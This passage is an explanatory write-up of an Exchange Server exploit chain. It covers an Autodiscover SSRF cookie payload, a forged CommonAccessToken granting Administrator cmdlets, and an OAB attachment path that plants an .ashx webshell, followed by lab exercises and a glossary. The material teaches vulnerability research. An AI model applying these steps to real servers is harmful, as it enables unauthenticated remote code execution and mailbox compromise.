Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/soap+xml;charset=UTF-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 7075
....
Line by line: the request line hides /powershell after the first ?, then adds its own query string. The parameters serializationLevel, ExchClientVer, clientApplication, TargetServer and PSVersion make the request look like a normal management shell connection. The X-Rps-CAT parameter holds a long encoded string: that is the forged badge. The Cookie line is the same SSRF trick as before, so the front desk forwards this to the Powershell backend and signs it as LocalSystem. The body is abbreviated with .....
The author reversed the CommonAccessToken format and built a token for the Administrator account that includes domain groups such as domain admins and schema admins. The domain identifier was leaked in the previous step, and the domain name can be any string.
With a valid CommonAccessToken, a Powershell request can be sent with Administrator privilege. The author rewrote a simple Powershell Remoting protocol to run any Exchange cmdlet. The limit is that only Exchange cmdlets can be run, not arbitrary Windows cmdlets, so something like Add-Content -Path C:\test.txt -Text abc is not possible, while cmdlets such as get-mailbox are. In plain words: the attacker can now manage Exchange as an administrator, but cannot yet run any program they like on the machine. That is what the third bug adds.
Step 3: writing a file through the address book (arbitrary file write)
The concepts you need first
- OAB: offline address book, a local copy of an address list collection that Outlook downloads so it can look up colleagues even when offline.
- GUID: a long random-looking identifier, here
02f1b6a8-8b8f-40c8-9df3-ac753563f9b8, used to name things uniquely. - EWS: Exchange Web Services, the SOAP API that lets programs read and write mailbox items.
- Mailbox item: one object inside a mailbox, such as an email, a calendar entry, or a file set.
IPM.FileSetis the type used for a set of files. - Attachment: a file attached to a mailbox item.
- Webshell: a small script placed on a web server that, when requested in a browser, runs commands on the server. It is the attacker's remote control.
- .aspx and .ashx: file extensions that IIS treats as programs to execute, not as documents to display.
How OAB works
An offline address book (OAB) is a local copy of an address list collection. In the Exchange Management Shell with an administrator account, a new OAB is created with:
New-OffLineAddressbook -Name test1 -AddressLists "Default Global Address List"
Line by line: New-OffLineAddressbook is the cmdlet that creates an address book. -Name test1 gives it the name test1. -AddressLists "Default Global Address List" says which address list it should contain, here the default list of everyone in the organisation.
The GUID of the new OAB is then retrieved. In the example it is 02f1b6a8-8b8f-40c8-9df3-ac753563f9b8.
From the internet, OAB files are requested through a URL of the form https://exchange16.domaincorp.com/oab/02f1b6a8-8b8f-40c8-9df3-ac753563f9b8/oab.xml. On first access the OAB files are generated and saved in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\02f1b6a8-8b8f-40c8-9df3-ac753563f9b8.
Besides the OS file system, OAB files are also stored in the OAB folder of the special system mailbox SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com. This can be checked by calling the EWS service on that mailbox.
In the OAB folder of the mailbox there is an item IPM.FileSet whose subject is 02f1b6a8-8b8f-40c8-9df3-ac753563f9b8, the same GUID as before.
So for each OAB created with New-OfflineAddressBook:
- there is a corresponding folder in
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>; - there is a corresponding
IPM.FileSetitem in the OAB folder of theSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.commailbox, with subject<oab_guid>.
In everyday terms: the address book exists twice, once as files on disk and once as a mailbox item holding the same files as attachments.
The process of generating new OAB files is:
- Get the
oab_guidfrom the URL/oab/<oab_guid>/oab.xml. - Check for the existence of an item with subject
<oab_guid>in the OAB folder of theSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.commailbox. - If the item exists, download all attachment files of this item from the mailbox and save them in
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>. - If the item does not exist, generate the OAB files and save them in the OAB folder of the
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.commailbox.
Step 3 is the interesting one:
The bug
If the OAB folder of the SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox can be controlled, the files in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> can be controlled. The vulnerability is in step 3: when OAB files are downloaded and saved to the OS file system, the filename is not checked for malicious extensions such as .aspx or .ashx. A webshell can therefore be written into C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> and reached at /oab/<oab_guid>/malicious.ashx.
Think of it as a photocopier that copies whatever is in a tray onto a public noticeboard, without asking whether the sheet says "poster" or "instructions for the staff". If you can put a sheet in the tray, you can put anything on the noticeboard.
Step 4: putting the three bugs together
The first two vulnerabilities are used to control the OAB folder of the SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox.
Using the Powershell authentication bypass, the New-OfflineAddressBook cmdlet is issued to create a new OAB and obtain its oab_guid. Then the SSRF is used to send a request to /ews/exchange.asmx under the privilege of the SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox. The SSRF request authenticates with the LocalSystem account and therefore has permission to impersonate another mailbox user with the SerializedSecurityContext element. Impersonation means acting as another user; SerializedSecurityContext is the SOAP element that tells EWS which user to act as.
The exploit steps are:
- Create a new
IPM.FileSetitem with subject<oab_guid>in the OAB folder ofSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com. - Attach two files,
oab.xmlandrskvp93.ashx, to this item. This step is complex because export and import techniques are needed to control the hash property of the two files. - Trigger
OABGeneratorProcessby accessing/oab/<oab_guid>/oab.xml. OABGeneratorProcessdownloads all attachments in the item with subject<oab_guid>in the OAB folder ofSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com.OABGeneratorProcesssaves all attachments in the OS file system atC:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>.- The webshell is available at
/oab/<oab_guid>/rskvp93.ashx.
In plain words: the attacker uses the administrator-level PowerShell access to create an address book, uses the SSRF to plant a mailbox item that looks exactly like the one Exchange expects, attaches a malicious script to it, then simply requests the address book URL. The background process copies the attachment onto disk in a folder the web server serves, and the attacker opens the script in a browser to run commands on the server.
Why it worked
Three separate design mistakes line up.
First, the Autodiscover frontend builds the proxy path by stripping this.explicitLogonAddress from base.ClientRequest.Url.AbsoluteUri rather than from AbsolutePath. Because the query string is part of AbsoluteUri, an attacker who places a path-like value in the query string can make the frontend forward the request to a backend path of their choosing, and the frontend signs that request with Kerberos as LocalSystem. The frontend therefore acts as an authenticated proxy for unauthenticated input.
Second, the Powershell backend trusts an X-CommonAccessToken header for identity, and an IIS module promotes the X-Rps-CAT query string into that header. Blocking the header on proxied requests does not help when the same value can arrive through the query string.
Third, the OAB generation path treats mailbox attachments as trusted content: it downloads every attachment of the IPM.FileSet item and writes it to disk under the OAB directory without validating the file extension. Since that directory is served by IIS, an .ashx file written there is executable.
What an attacker gets
A remote, unauthenticated attacker can write a webshell and execute arbitrary code on affected Exchange Server installations. The SSRF reaches backend services as LocalSystem, the forged token grants Administrator-level Exchange cmdlet execution, and the OAB write places an executable file in a web-served directory. The author says the third vulnerability can be exploited to get RCE on Exchange Online services.
How it was fixed
The report does not describe how Microsoft addressed the first two issues. The report does not describe the specific code changes. A fix for the OAB write would need to validate attachment filenames before writing them to the OAB directory.
Things to try on your own lab
- On other Exchange frontends, try placing a path in the
emailcookie or in an Autodiscover v2 preview query string and see whether the proxied request lands on a different backend path than the one requested. A positive result is a backend response from a service you did not address directly. - Try supplying
X-Rps-CATon requests to the Powershell backend and check whether the resulting identity matches the token rather than the caller. A positive result is an Exchange cmdlet executing with privileges the caller does not hold. - Create an OAB, place an
IPM.FileSetitem with a matching subject in the system mailbox OAB folder, attach a file with an executable extension, and request/oab/<oab_guid>/oab.xml. A positive result is the attachment appearing underClientAccess\OAB\<oab_guid>and being served back. - Check whether other mailbox-driven file generation paths (anything that copies attachments into a web-served directory) validate extensions. A positive result is a file with a script extension being written and then executed over HTTP.
Glossary
- API: a defined way for one program to ask another program to do something, like a menu of allowed requests.
- Attachment: a file carried inside a mailbox item, such as an email or a file set.
- Authentication bypass: getting past an identity check without having valid credentials.
- Backend service: the part of a server that does the real work, hidden behind a frontend.
- Client Access services: Exchange's frontend, the part that accepts connections from clients and forwards them.
- CommonAccessToken: Exchange's compact encoded description of a caller's identity, carried in a header.
- Cookie: a small piece of text a site asks a browser to store and send back with later requests.
- EWS: Exchange Web Services, the SOAP API for reading and writing mailbox items.
- Frontend service: the outward-facing part of a server that accepts client connections and proxies them.
- GUID: a long random-looking unique identifier.
- Header: extra metadata lines sent with a web request or response.
- IIS: Microsoft's web server software.
- IIS module: a plug-in inside IIS that runs on every request and can inspect or rewrite it.
- IPM.FileSet: the mailbox item type used to hold a set of files, here the OAB files.
- LocalSystem: the built-in Windows account under which the operating system itself runs, the most powerful local account.
- MAPI: the protocol Outlook uses to talk to Exchange; emsmdb is the backend service that speaks it.
- OAB: offline address book, a local copy of an address list collection.
- Powershell backend: the Exchange service that accepts PowerShell commands for administration.
- Proxy: a go-between that forwards requests on someone else's behalf.
- Query string: the part of a URL after a
?, carrying parameters. - RCE: remote code execution, running your own code on someone else's machine.
- SID: Security Identifier, Windows' unique number for an account or group.
- SOAP: a way of sending structured messages over HTTP, written in XML.
- SSRF: Server-Side Request Forgery, making a server send a request on the attacker's behalf.
- UserDN: a long text identifier for a mailbox inside the Exchange directory, also called Legacy DN.
- Webshell: a small script placed on a web server that runs commands when requested in a browser.
- XML: a text format built from tags in angle brackets, used for structured messages.